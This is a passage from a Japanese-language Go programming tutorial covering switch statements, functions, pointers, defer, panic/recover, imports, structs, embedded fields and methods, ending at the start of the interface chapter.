時々たくさんのif-elseを書くことでロジック処理を行いたくなるかもしれません。コードは非常に醜く冗長になります。またメンテナンスも容易ではなくなるので、switchを使って解決することができます。この文法は以下のようなものです

switch sExpr {
case expr1:
    some instructions
case expr2:
    some other instructions
case expr3:
    some other instructions
default:
    other code
}

sExprとexpr1、expr2、expr3の型は一致させる必要があります。Goのswitchは非常に使い勝手がよく、式は必ずしも定数や整数である必要はありません。実行のプロセスは上から下まで、マッチする項目が見つかるまで行われます。もしswitchに式がなければ、trueとマッチします。

i := 10
switch i {
case 1:
    fmt.Println("i is equal to 1")
case 2, 3, 4:
    fmt.Println("i is equal to 2, 3 or 4")
case 10:
    fmt.Println("i is equal to 10")
default:
    fmt.Println("All I know is that i is an integer")
}

5行目で、いくつもの値をcaseの中に集めています。また同時に、Goのswitchはデフォルトでcaseの最後にbreakがあることになっているので、マッチに成功した後は他のcaseが実行されることはなく、switch全体から抜け出します。ただし、fallthroughを使用することであとに続くcaseコードを強制的に実行させることができます。

integer := 6
switch integer {
    case 4:
    fmt.Println("The integer was <= 4")
    fallthrough
    case 5:
    fmt.Println("The integer was <= 5")
    fallthrough
    case 6:
    fmt.Println("The integer was <= 6")
    fallthrough
    case 7:
    fmt.Println("The integer was <= 7")
    fallthrough
    case 8:
    fmt.Println("The integer was <= 8")
    fallthrough
    default:
    fmt.Println("default case")
}

上のプログラムは以下のように出力します

The integer was <= 6
The integer was <= 7
The integer was <= 8
default case

関数

関数はGoの中心的な設計です。キーワードfuncによって宣言します。形式は以下の通り：

func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {
    //ここはロジック処理のコードです。
    //複数の値を戻り値とします。
    return value1, value2
}

上のコードから次のようなことが分かります

キーワードfuncでfuncNameという名前の関数を宣言します。

関数はひとつまたは複数の引数をとることができ、各引数の後には型が続きます。,をデリミタとします。

関数は複数の戻り値を持ってかまいません。

上の戻り値は２つの変数output1とoutput2であると宣言されています。もしあなたが宣言したくないというのであればそれでもかみません。直接２つの型です。

もしひとつの戻り値しか存在せず、また戻り値の変数が宣言されていなかった場合、戻り値の括弧を省略することができます。

もし戻り値が無ければ、最後の戻り値の情報も省略することができます。

もし戻り値があれば、関数の中でreturn文を追加する必要があります。

以下では実際に関数の例を応用しています（Maxの値を計算します）

package main
import "fmt"

// a、bの中から最大値を返します。
func max(a, b int) int {
    if a > b {
        return a
    }
    return b
}

func main() {
    x := 3
    y := 4
    z := 5

    max_xy := max(x, y) //関数max(x, y)をコール
    max_xz := max(x, z) //関数max(x, z)をコール

    fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
    fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
    fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 直接コールしてもかまいません。
}

上ではmax関数に２つの引数があることがわかります。この型はどれもintです。第一引数の型は省略することができます（つまり、a,b int,でありa int, b intではありません）、デフォルトは直近の型です。２つ以上の同じ型の変数または戻り値も同じです。同時に戻り値がひとつであることに注意してください。これは省略記法です。

複数の戻り値

Go言語はCに比べ先進的な特徴を持っています。関数が複数の戻り値を持てるのもその一つです。

コードの例を見てみましょう

package main
import "fmt"

//A+B と A*B を返します
func SumAndProduct(A, B int) (int, int) {
    return A+B, A*B
}

func main() {
    x := 3
    y := 4

    xPLUSy, xTIMESy := SumAndProduct(x, y)

    fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
    fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}

上の例では直接２つの引数を返しました。当然引数を返す変数に命名してもかまいません。この例では２つの型のみ使っていますが、下のように定義することもできます。値が返る際は変数名を付けなくてかまいません。なぜなら関数の中で直接初期化されているからです。しかしもしあなたの関数がエクスポートされるのであれば（大文字からはじまります）オフィシャルではなるべく戻り値に名前をつけるようお勧めしています。なぜなら名前のわからない戻り値はコードをより簡潔なものにしますが、生成されるドキュメントの可読性がひどくなるからです。

func SumAndProduct(A, B int) (add int, Multiplied int) {
    add = A+B
    Multiplied = A*B
    return
}

可変長引数

Goの関数は可変長引数をサポートしています。可変長引数を受け付ける関数は不特定多数の引数があります。これを実現するために、関数が可変長引数を受け取れるよう定義する必要があります：

func myfunc(arg ...int) {}

arg ...intはGoにこの関数が不特定多数の引数を受け付けることを伝えます。ご注意ください。この引数の型はすべてintです。関数ブロックの中で変数argはintのsliceとなります。

for _, n := range arg {
    fmt.Printf("And the number is: %d\n", n)
}

値渡しと参照渡し

引数をコールされる関数の中に渡すとき、実際にはこの値のコピーが渡されます。コールされる関数の中で引数に修正をくわえても、関数をコールした実引き数には何の変化もありません。数値の変化はコピーの上で行われるだけだからです。

この内容を検証するために、ひとつ例を見てみましょう

package main
import "fmt"

//引数+1を行う、簡単な関数
func add1(a int) int {
    a = a+1 // aの値を変更します。
    return a //新しい値を返します。
}

func main() {
    x := 3

    fmt.Println("x = ", x)  // "x = 3"と出力するはずです。

    x1 := add1(x)  //add1(x) をコールします。

    fmt.Println("x+1 = ", x1) // "x+1 = 4"　と出力するはずです。
    fmt.Println("x = ", x)    // "x = 3" と出力するはずです。
}

どうです？add1関数をコールし、add1のなかでa = a+1の操作を実行したとしても、上述のx変数には何の変化も発生しません。

理由はとても簡単です：add1がコールされた際、add1が受け取る引数はxそのものではなく、xのコピーだからです。

もし本当にこのxそのものを渡したくなったらどうするの？と疑問に思うかもしれません。

この場合いわゆるポインタにまで話がつながります。我々は変数がメモリの中のある特定の位置に存在していることを知っています。変数を修正するということはとどのつまり変数のアドレスにあるメモリを修正していることになります。add1関数がx変数のアドレスを知ってさえいれば、x変数の値を変更することが可能です。そのため、我々はxの存在するアドレスである&xを関数に渡し、関数の変数の型をintからポインタ変数である*intに変更します。これで関数の中でxの値を変更することができるようになりました。この時関数は依然としてコピーにより引数を受け渡しますが、コピーしているのはポインタになります。以下の例をご覧ください。

package main
import "fmt"

//引数に+1を行う簡単な関数
func add1(a *int) int { // ご注意ください。
    *a = *a+1 // aの値を修正しています。
    return *a // 新しい値を返します。
}

func main() {
    x := 3

    fmt.Println("x = ", x)  // "x = 3"と出力するはずです。

    x1 := add1(&x)  // add1(&x) をコールしてxのアドレスを渡します。

    fmt.Println("x+1 = ", x1) // "x+1 = 4"を出力するはずです。
    fmt.Println("x = ", x)    // "x = 4"を出力するはずです。
}

このようにxを修正するという目的に到達しました。では、ポインタを渡す長所はなんなのでしょうか？

ポインタを渡すことで複数の関数が同じオブジェクトに対して操作を行うことができます。

ポインタ渡しは比較的軽いです（8バイト）、ただのメモリのアドレスです。ポインタを使って大きな構造体を渡すことができます。もし値渡しを行なっていたら、相対的にもっと多くのシステムリソース（メモリと時間）を毎回のコピーで消費することになります。そのため大きな構造体を渡す際は、ポインタを使うのが賢い選択というものです。

Go言語のstring、slice、mapの３つの型はメカニズムを実現するポインタのようなものです。ですので、直接渡すことができますので、アドレスを取得してポインタを渡す必要はありません。（注：もし関数がsliceの長さを変更する場合はアドレスを取得し、ポインタを渡す必要があります。）

defer

Go言語のすばらしいデザインの中に、遅延(defer)文法があります。関数の中でdefer文を複数追加することができます。関数が最後まで実行された時、このdefer文が逆順に実行されます。最後にこの関数が返ります。特に、リソースをオープンする操作を行なっているようなとき、エラーの発生に対してロールバックし、必要なリソースをクローズする必要があるかと思います。さもなければとても簡単にリソースのリークといった問題を引き起こすことになります。我々はリソースを開く際は一般的に以下のようにします：

func ReadWrite() bool {
    file.Open("file")
// 何かを行う
    if failureX {
        file.Close()
        return false
    }

    if failureY {
        file.Close()
        return false
    }

    file.Close()
    return true
}

上のコードはとても多くの重複がみられます。Goのdeferはこの問題を解決します。これを使用した後、コードは減るばかりでなく、プログラムもよりエレガントになります。deferの後に指定された関数が関数を抜ける前にコールされます。

func ReadWrite() bool {
    file.Open("file")
    defer file.Close()
    if failureX {
        return false
    }
    if failureY {
        return false
    }
    return true
}

もしdeferを多用する場合は、deferはLIFOモードが採用されます。そのため、以下のコードは4 3 2 1 0を出力します。

for i := 0; i < 5; i++ {
    defer fmt.Printf("%d ", i)
}

値、型としての関数

Goでは関数も変数の一種です。typeを通して定義します。これは全て同じ引数と同じ戻り値を持つ一つの型です。

type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...])

関数を型として扱うことにメリットはあるのでしょうか？ではこの型の関数を値として渡してみましょう。以下の例をご覧ください。

package main
import "fmt"

type testInt func(int) bool // 関数の型を宣言します。

func isOdd(integer int) bool {
    if integer%2 == 0 {
        return false
    }
    return true
}

func isEven(integer int) bool {
    if integer%2 == 0 {
        return true
    }
    return false
}

// ここでは宣言する関数の型を引数のひとつとみなします。

func filter(slice []int, f testInt) []int {
    var result []int
    for _, value := range slice {
        if f(value) {
            result = append(result, value)
        }
    }
    return result
}

func main(){
    slice := []int {1, 2, 3, 4, 5, 7}
    fmt.Println("slice = ", slice)
    odd := filter(slice, isOdd)    // 関数の値渡し
    fmt.Println("Odd elements of slice are: ", odd)
    even := filter(slice, isEven)  // 関数の値渡し
    fmt.Println("Even elements of slice are: ", even)
}

共有のインターフェースを書くときに関数を値と型にみなすのは非常に便利です。上の例でtestIntという型は関数の型の一つでした。ふたつのfilter関数の引数と戻り値はtestIntの型と同じですが、より多くのロジックを実現することができます。このように我々のプログラムをより優れたものにすることができます。

PanicとRecover

GoにはJavaのような例外処理はありません。例外を投げないのです。その代わり、panicとrecoverを使用します。ぜひ覚えておいてください、これは最後の手段として使うことを。つまり、あなたのコードにあってはなりません。もしくはpanicを極力減らしてください。これは非常に強力なツールです。賢く使ってください。では、どのように使うのでしょうか？

Panic >ビルトイン関数です。オリジナルの処理フローを中断させることができます。パニックが発生するフローの中に入って関数Fがpanicをコールします。このプロセスは継続して実行されます。一旦panicのgoroutineが発生すると、コールされた関数がすべて返ります。この時プログラムを抜けます。パニックは直接panicをコールします。実行時にエラーを発生させてもかまいません。例えば配列の境界を超えてアクセスする、などです。

Recover >ビルトイン関数です。パニックを発生させるフローのgoroutineを復元することができます。recoverは遅延関数の中でのみ有効です。通常の実行中、recoverをコールするとnilが返ります。他には何の効果もありません。もし現在のgoroutineがパニックに陥ったらrecoverをコールして、panicの入力値を補足し、正常な実行に復元することができます。

下の関数のフローの中でどのようにpanicを使うかご覧ください

var user = os.Getenv("USER")

func init() {
    if user == "" {
        panic("no value for $USER")
    }
}

この関数は引数となっている関数が実行時にpanicを発生するか検査します：

func throwsPanic(f func()) (b bool) {
    defer func() {
        if x := recover(); x != nil {
            b = true
        }
    }()
    f() //関数fを実行します。もしfの中でpanicが出現したら、復元を行うことができます。
    return
}

main関数とinit関数

Goでは２つの関数が予約されています：init関数（すべてのpackageで使用できます）とmain関数（package mainでしか使用できません）です。この２つの関数は定義される際いかなる引数と戻り値も持ちません。packageのなかで複数のinit関数を書いたとしても、もちろん可読性か後々のメンテナンス性に対してですが、packageの中では各ファイルに一つだけのinit関数を書くよう強くおすすめします。

Goのプログラムは自動でinit()とmain()をコールしますので、どこかでこの２つの関数をコールする必要はありません。各packageのinit関数はオプションです。しかしpackage mainは必ず一つmain関数を含まなければなりません。

プログラムの初期化と実行はすべてmainパッケージから始まります。もしmainパッケージが他のパッケージをインポートしていたら、コンパイル時にその依存パッケージがインポートされます。あるパッケージが複数のパッケージに同時にインポートされている場合は、先にその他のパッケージがインポートされ、その後このパッケージの中にあるパッケージクラス定数と変数が初期化されます。次にinit関数が（もしあれば）実行され、最後にmain関数が実行されます。以下の図で実行過程を詳しくご説明しています。

図2.6 main関数によるパッケージのインポートと初期化過程の図

import

Goのコードを書いている時は、importコマンドによってパッケージファイルをインポートすることがよくあります。私達が通常使う方法は以下を参考にしてください：

import(
    "fmt"
)

その後コードの中では以下のような方法でコールすることができます。

fmt.Println("hello world")

上のfmtはGo言語の標準ライブラリです。実はGOROOT環境変数で指定されたディレクトリの下にこのモジュールが加えられています。当然Goのインポートは以下のような２つの方法で自分の書いたモジュールを追加することができます：

相対パス

import “./model” //カレントファイルと同じディレクトリにあるmodelディレクトリ、ただし、この方法によるimportはおすすめしません。

絶対パス

import “shorturl/model” //gopath/src/shorturl/modelモジュールを追加します。

ここではimportの通常のいくつかの方法をご説明しました。ただ他にも特殊なimportがあります。新人を悩ませる方法ですが、ここでは一つ一つ一体何がどうなっているのかご説明しましょう

ドット操作

時々、以下のようなパッケージのインポート方法を見ることがあります

import(
    . "fmt"
)

このドット操作の意味はこのパッケージがインポートされた後このパッケージの関数をコールする際、パッケージ名を省略することができます。つまり、前であなたがコールしたようなfmt.Println(“hello world”)はPrintln(“hello world”)というように省略することができます。

エイリアス操作

エイリアス操作はその名の通りパッケージ名に他の覚えやすい名前をつけることができます。

import(
    f "fmt"
)

エイリアス操作の場合パッケージ関数をコールする際プレフィックスが自分たちのものになります。すなわち、f.Println(“hello world”)

_操作

この操作は通常とても理解しづらい方法です。以下のimportをご覧ください。

import (
    "database/sql"
    _ "github.com/ziutek/mymysql/godrv"
)

_操作はこのパッケージをインポートするだけでパッケージの中の関数を直接使うわけではなく、このパッケージの中にあるinit関数をコールします。

Generated by md2min

2.4 struct型

struct

structの匿名フィールド

struct

Go言語では、Cや他の言語と同じように、他の型の属性やフィールドのコンテナとして新しい型を宣言することができます。例えば、一個人のエンティティを表しているperson型を作成することができます。このエンティティは属性を持っています：性別と年齢です。このような型はstructと呼ばれます。以下にコードを示します：

type person struct {
    name string
    age int
}

お分かりいただけましたでしょうか？structの宣言はこのように簡単です。上の型は２つのフィールドを持っています。 - string型のフィールドnameはユーザの名前を保存するプロパティです。 - int型のフィールドageはユーザの年齢を保存するプロパティです。

どのようにstructは使用されるのでしょうか？下のコードをご覧ください。

type person struct {
    name string
    age int
}

var P person  // Pは現在person型の変数です。

P.name = "Astaxie"  // "Astaxie"を変数Pのnameプロパティに代入します。
P.age = 25  // "25"を変数Pのageプロパティに代入します。
fmt.Printf("The person's name is %s", P.name)  // Pのnameプロパティにアクセスします。

上のようなPの宣言以外に他にもいくつかの宣言方法があります。

1.順序にしたがって初期化する。

P := person{“Tom”, 25}

2.field:valueの方法によって初期化します。この場合は順序は任意でかまいません。

P := person{age:24, name:“Tom”}

3.もちろんnew関数を通してポインタを作ることもできます。このPの型は*personです。

P := new(person)

以下ではひと通りのstructの使用例をご説明します。

package main
import "fmt"

// 新しい型を宣言します。
type person struct {
    name string
    age int
}

// 二人の年齢を比較します。年齢が大きい方の人を返し、また年齢差も返します。
// structも値渡しです。
func Older(p1, p2 person) (person, int) {
    if p1.age>p2.age {  // p1とp2の二人の年齢を比較します。
        return p1, p1.age-p2.age
    }
    return p2, p2.age-p1.age
}

func main() {
    var tom person

    // 初期値を代入します。
    tom.name, tom.age = "Tom", 18

    // ２つのフィールドを明確に初期化します。
    bob := person{age:25, name:"Bob"}

    // structの定義の順番に従って初期化します。
    paul := person{"Paul", 43}

    tb_Older, tb_diff := Older(tom, bob)
    tp_Older, tp_diff := Older(tom, paul)
    bp_Older, bp_diff := Older(bob, paul)

    fmt.Printf("Of %s and %s, %s is older by %d years\n",
        tom.name, bob.name, tb_Older.name, tb_diff)

    fmt.Printf("Of %s and %s, %s is older by %d years\n",
        tom.name, paul.name, tp_Older.name, tp_diff)

    fmt.Printf("Of %s and %s, %s is older by %d years\n",
        bob.name, paul.name, bp_Older.name, bp_diff)
}

structの匿名フィールド

上でstructをどのように定義するかご紹介しました。定義する際はフィールド名とその型が一つ一つ対応しています。実はGoは型だけの定義もサポートしています。これはフィールド名を書かない方法ではなく、匿名フィールドです。組み込みフィールドとも呼ばれます。

匿名フィールドがstructである場合、このstructがもつすべてのフィールドは隠されたまま現在定義しているこのstructに導入されます。

ひとつ例をお見せしましょう。上の説明がより具体的になります。

package main
import "fmt"

type Human struct {
    name string
    age int
    weight int
}

type Student struct {
    Human  // 匿名フィールド、デフォルトでStudentはHumanのすべてのフィールドを含むことになります。
    speciality string
}

func main() {
    // 学生を一人初期化します。
    mark := Student{Human{"Mark", 25, 120}, "Computer Science"}

    // 対応するフィールドにアクセスします。
    fmt.Println("His name is ", mark.name)
    fmt.Println("His age is ", mark.age)
    fmt.Println("His weight is ", mark.weight)
    fmt.Println("His speciality is ", mark.speciality)
    // 対応するメモ情報を修正します。
    mark.speciality = "AI"
    fmt.Println("Mark changed his speciality")
    fmt.Println("His speciality is ", mark.speciality)
    // 彼の年齢情報を修正します。
    fmt.Println("Mark become old")
    mark.age = 46
    fmt.Println("His age is", mark.age)
    // 体重情報も修正します。
    fmt.Println("Mark is not an athlet anymore")
    mark.weight += 60
    fmt.Println("His weight is", mark.weight)
}

図解:

図2.7 StudentとHumanの継承方法

Studentがageとnameの属性にアクセスする際、あたかも自分のフィールドであるかのようにアクセスしたのをご覧いただけるかと思います。そうです。匿名フィールドというのはこういうものです。フィールドの継承を実現できるのです。これってクールじゃないですか？もっとクールにする方法もありますよ。studentはHumanのフィールド名でアクセスできます。下のコードを御覧ください。ほら、とってもクールでしょ？

mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1

匿名によるアクセスとフィールドの修正はとても便利です。でも単なるstructのフィールドですから、すべてのビルトイン型と自分で定義した型をすべて匿名フィールドとみなすことができます。下の例をご覧ください。

package main
import "fmt"

type Skills []string

type Human struct {
    name string
    age int
    weight int
}

type Student struct {
    Human  // 匿名フィールド、struct
    Skills // 匿名フィールド、自分で定義した型。string slice
    int    // ビルトイン型を匿名フィールドとします。
    speciality string
}

func main() {
    // 学生Jannを初期化します。
    jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"}
    // ここで対応するフィールドにアクセスしてみます。
    fmt.Println("Her name is ", jane.name)
    fmt.Println("Her age is ", jane.age)
    fmt.Println("Her weight is ", jane.weight)
    fmt.Println("Her speciality is ", jane.speciality)
    // 彼のskill技能フィールドを修正します。
    jane.Skills = []string{"anatomy"}
    fmt.Println("Her skills are ", jane.Skills)
    fmt.Println("She acquired two new ones ")
    jane.Skills = append(jane.Skills, "physics", "golang")
    fmt.Println("Her skills now are ", jane.Skills)
    // 匿名ビルトイン型のフィールドを修正します。
    jane.int = 3
    fmt.Println("Her preferred number is", jane.int)
}

上の例のとおり、structはstructを匿名フィールドとするだけでなく、自分で定義した型やビルトイン型も匿名フィールドとすることができます。また、対応するフィールド上で関数操作を行うこともできます（例えば例の中のappendです）。

ここで一つ疑問がでてきます：もしhumanにphoneというフィールドがあったとすると、studentもphoneと呼ばれるフィールドができます。これはどうすべきでしょうか？

Goでは簡単にこの問題を解決することができます。外側が優先的にアクセスされますので、student.phoneとアクセスした場合studentの中のフィールドにアクセスし、humanのフィールドにはアクセスしません。

このように匿名フィールドを通じてフィールドを継承することができます。当然もしあなたが対応する匿名型のフィールドにアクセスしたくなったら、匿名フィールドの名前からアクセスすることができます。下の例をご覧ください。

package main
import "fmt"

type Human struct {
    name string
    age int
    phone string  // Human型がもつフィールド
}

type Employee struct {
    Human  // 匿名フィールドHuman
    speciality string
    phone string  // 社員のphoneフィールド
}

func main() {
    Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
    fmt.Println("Bob's work phone is:", Bob.phone)
    // もし我々がHumanのphoneフィールドにアクセスする場合は
    fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}

Generated by md2min

2.5 オブジェクト指向

method

ポインタとしてのreceiver

method継承

methodの書き直し

前の２つの章で関数とstructをご紹介しました。関数をstructのフィールドとして処理したくなったんじゃないですか？今日は関数のもう一つの形態についてご説明します。受け取り手のいる関数で、我々がmethodとよんでいるものです。

method

今、このような状況にいると仮定します。あなたは長方形というstructを定義してこの面積を求めようとしています。我々の一般的な思考回路に基づけば下のような方法で実現するでしょう。

package main
import "fmt"

type Rectangle struct {
    width, height float64
}

func area(r Rectangle) float64 {
    return r.width*r.height
}

func main() {
    r1 := Rectangle{12, 2}
    r2 := Rectangle{9, 4}
    fmt.Println("Area of r1 is: ", area(r1))
    fmt.Println("Area of r2 is: ", area(r2))
}

このコードは長方形の面積を求めることができますが、area()はRectangleの（一般的なオブジェクト指向でいうような）メソッドで実現されたものではありません。Rectangleのオブジェクト（ここではr1,r2）を引数に面積を計算する関数に渡しているだけです。

このように実現してももちろん構わないのですが、図形が増えてきて、正方形、五角形ついには多角形になってきた頃、これらの面積も求めようとするとどうでしょう？この場合関数を増やすしかなくなってしまいます。関数名はそれぞれ用意しなければなりません。area_rectangle, area_circle, area_triangle...といった具合に。

下の図で示すように、楕円が関数を表しています。これらの関数はstructに属していない（オブジェクト指向用語で言い換えるとclassに属していない）ので、structの外側に単独で存在しており、概念上どのstructにも属していないことになります。

図2.8 メソッドとstructの関係図

明らかにこのような実現方法はエレガントではありません。それに概念からしても“面積”は“形状”の一属性です。これはある特定の形状に属しています。長方形の縦と横と同じようなものです。

このような理由からmethodの概念が生まれました。methodはある型に属しています。この文法と関数の宣言の文法はほとんど同じです。ただ、funcの後にreceiver（methodがくっついているということです）を追加します。

上で述べた形状の例からすると、method area() はある形状（たとえばRectangle）に由来して発生しています。Rectangle.area()の主語はRectangle、area()はRectangleに属するメソッドで外側の関数ではありません。

より具体的に述べると、Rectangleにはフィールドlengthとwidthが存在します。同時にarea()メソッドが存在します。これらのフィールドとメソッドは共にRectangleに属しています。

Rob Pikeの言葉を借りると：

“A method is a function with an implicit first argument, called a receiver.”

methodの文法は以下のとおりです：

func (r ReceiverType) funcName(parameters) (results)

はじめの例をとってmethodを実現してみます：

package main
import (
    "fmt"
    "math"
)

type Rectangle struct {
    width, height float64
}

type Circle struct {
    radius float64
}

func (r Rectangle) area() float64 {
    return r.width*r.height
}

func (c Circle) area() float64 {
    return c.radius * c.radius * math.Pi
}

func main() {
    r1 := Rectangle{12, 2}
    r2 := Rectangle{9, 4}
    c1 := Circle{10}
    c2 := Circle{25}

    fmt.Println("Area of r1 is: ", r1.area())
    fmt.Println("Area of r2 is: ", r2.area())
    fmt.Println("Area of c1 is: ", c1.area())
    fmt.Println("Area of c2 is: ", c2.area())
}

methodを使う時にはいくつか注意が必要です。

methodはまったく同じ名前でもレシーバが異なればmethodも異なります。

methodはレシーバのフィールドにアクセスすることができます。

methodの呼び出しは.を通じて行います。structがフィールドにアクセスするのと同じです。

図解：

図2.9 異なるstructのmethodは異なる。

上の例では method area() はそれぞれRectangleとCircleに属します。この時これらの Receiver は Rectangle と Circleになります。またはこのarea()メソッドはRectangle/Circleを主語とします。

特に、図中のmethodは破線で表示しています。これは、このメソッドのレシーバは値渡しであり、参照渡しではありません。そうです。レシーバはポインタでもいいのです。両者の違いはポインタはレシーバがエンティティの内容に操作を行うことがあるのに対し、普通の型ではレシーバは操作するオブジェクトのコピーでしかありません。オリジナルのエンティティに対して操作が発生しないのです。詳細は後述します。

methodはstructの上でしか使用されないのでしょうか？当然違います。これはカスタム定義型、ビルトイン型、structなどあらゆる型でも定義することができます。ちょっとよくわからなくなってきましたか？何がカスタム定義型だ、カスタム定義型はstructじゃないのか。そういうわけではありません。structはカスタム定義型のなかでも比較的特殊な型であるだけです。下のような宣言で実現します。

type typeName typeLiteral

以下のカスタム定義型の宣言のコードをご覧ください。

type ages int

type money float32

type months map[string]int

m := months {
    "January":31,
    "February":28,
    ...
    "December":31,
}

わかりましたか？簡単でしょう？このように自分のコードの中に意味のある型を定義することができるのです。実際はエイリアスを定義しているだけです。Cのtypedefに似たようなもので、例えば上のagesはintの代わりになっています。

それじゃあ、methodにもどりましょう。

カスタム定義型の中で任意のmethodを定義することができます。次にちょっと複雑な例を見てみましょう。

package main
import "fmt"

const(
    WHITE = iota
    BLACK
    BLUE
    RED
    YELLOW
)

type Color byte

type Box struct {
    width, height, depth float64
    color Color
}

type BoxList []Box //a slice of boxes

func (b Box) Volume() float64 {
    return b.width * b.height * b.depth
}

func (b *Box) SetColor(c Color) {
    b.color = c
}

func (bl BoxList) BiggestColor() Color {
    v := 0.00
    k := Color(WHITE)
    for _, b := range bl {
        if bv := b.Volume(); bv > v {
            v = bv
            k = b.color
        }
    }
    return k
}

func (bl BoxList) PaintItBlack() {
    for i, _ := range bl {
        bl[i].SetColor(BLACK)
    }
}

func (c Color) String() string {
    strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
    return strings[c]
}

func main() {
    boxes := BoxList {
        Box{4, 4, 4, RED},
        Box{10, 10, 1, YELLOW},
        Box{1, 1, 20, BLACK},
        Box{10, 10, 1, BLUE},
        Box{10, 30, 1, WHITE},
        Box{20, 20, 20, YELLOW},
    }

    fmt.Printf("We have %d boxes in our set\n", len(boxes))
    fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
    fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
    fmt.Println("The biggest one is", boxes.BiggestColor().String())

    fmt.Println("Let's paint them all black")
    boxes.PaintItBlack()
    fmt.Println("The color of the second one is", boxes[1].color.String())

    fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String())
}

上のコードはconstでいくつかの定数を定義しています。その後カスタム定義型を定義しています。

Colorはbyteのエイリアスです。

struct:Boxを定義します。３つの縦横高さのフィールドと色プロパティを持っています。

slice:BoxListを定義します。Boxを持っています。

次に上のカスタム定義型をレシーバとしてmethodを定義します。

Volume()はレシーバをBoxとして定義します。Boxの体積を返します。

SetColor(c Color)はBoxの色をcに変更します。

BiggestColor()はBoxListに定義されており、listの中の体積が最大の色を返します。

PaintItBlack()はBoxListのすべてのBoxの色を全部黒に変更します。

String()はColorに定義されており、Colorの具体的な色を返します（文字列形式）

上のコードは文字で書くと非常に簡単に思えませんか？私達は問題を解決する場合問題の描写を通して、対応するコードを書くことで実現します。

ポインタとしてのreceiver

ではここで、SetColorのメソッドを見なおしてみましょう。このreceiverはBoxのポインタをさしています。そうです。*Boxを使えるのです。どうしてBox本体ではなくポインタを使うのでしょうか？

SetColorを定義した本当の目的はこのBoxの色を変更することです。もしBoxのポインタを渡さなければ、SetColorが受け取るのは実はBoxのコピーになってしまいます。つまり、メソッド内で色の変更を行うと、Boxのコピーを操作しているだけで、本当のBoxではないのです。そのため、ポインタを渡す必要があります。

ここではreceiverをメソッドの第一引数にしました。こうすれば前の関数で説明した値渡しと参照渡しも難しくなくなるでしょう。

もしかしたらSetColor関数の中で以下のように定義すべきじゃないかと思われたかもしれません。*b.Color=c、ところがb.Color=cでよいのです。ポインタに対応する値を読み込むことが必要ですから。

そのとおりです。Goの中ではこの２つの方法はどちらも正しいのです。ポインタを使って対応するフィールドにアクセスした場合（ポインタになんのフィールドがなかったとしても）、Goはあなたがポインタを通してその値を必要としていることを知っています。どうです。Goのデザインに魅了されてきたんじゃないですか？

注意深い読者はこのように思うかもしれません。PointItBlackの中でSetColorをコールした時、ひょっとして(&bl[i]).SetColor(BLACK)と書かなければならないんじゃないかと。SetColorのreceiverは*Boxであり、Boxではありませんから。

ええ、その通りなんです。この２つの方法はどちらでもかまいません。Goはreceiverがポインタであることを知っています。こいつは自動的に解釈してくれるのです。

つまり： >もしメソッドのreceiverが*Tであれば、T型のエンティティの変数V上でこのメソッドをコールすることができます。&Vによってメソッドをコールする必要はありません。

同じように >もしメソッドのreceiverがTであれば、T型の変数P上でこのメソッドをコールすることができます。Pを使ってメソッドをコールする必要はありません。

ですので、コールしているポインタのメソッドがポインタのメソッドであるかどうかは気にする必要がありません。Goはあなたが行おうとしているすべてのことを知っているのです。C/C++でプログラムを経験されてこられた方にとっては、とてもとても大きな苦痛が解決されることでしょう。

method継承

前の章でフィールドの継承を学びました。するとあなたはGoの不思議なところに気がついたかもしれません。methodも継承できるのです。もし匿名フィールドが一つのメソッドを実現している場合、この匿名フィールドを含むsturctもこのメソッドをコールすることができるのです。例をお見せします。

package main
import "fmt"

type Human struct {
    name string
    age int
    phone string
}

type Student struct {
    Human //匿名フィールド
    school string
}

type Employee struct {
    Human //匿名フィールド
    company string
}

//human上でメソッドを定義
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func main() {
    mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
    sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}

    mark.SayHi()
    sam.SayHi()
}

methodの書き直し

上の例で、もしEmployeeにSayHiを実現したい場合はどうすればよいでしょうか？簡単です。匿名フィールドの衝突と同じ道理で、Employee上でもメソッドを定義することができます。匿名フィールドを書き直す方法は下の例をご確認ください。

package main
import "fmt"

type Human struct {
    name string
    age int
    phone string
}

type Student struct {
    Human //匿名フィールド
    school string
}

type Employee struct {
    Human //匿名フィールド
    company string
}

//Humanでmethodを定義
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

//EmployeeのmethodでHumanのmethodを書き直す。
func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //Yes you can split into 2 lines here.
}

func main() {
    mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
    sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}

    mark.SayHi()
    sam.SayHi()
}

上のコードのデザインはこのように絶妙です。Goのデザインに驚くことでしょう。

このように、基本的なオブジェクト指向のプログラムを設計することができます。ですが、Goのオブジェクト指向はこのように簡単です。プライベートやパブリックといったキーワードは出てきません。大文字と小文字によって実現しているのです（大文字で始まるものはパブリック、小文字で始まるものはプライベートです）、メソッドにも同じルールが適用されます。

Generated by md2min

2.6 interface

interface

interfaceとは何か

interface型

interfaceの値

空のinterface

interface関数の引数

interface変数を保存する型

組み込みinterface

リフレクション

interface

Goではとても繊細なinterfaceと呼ぶべき設計があります。これはオブジェクト指向と内容構成にとって非常に便利です。この章を終わった時にはあなたはinterfaceの巧妙な設計に感服することでしょう。

interfaceとは何か

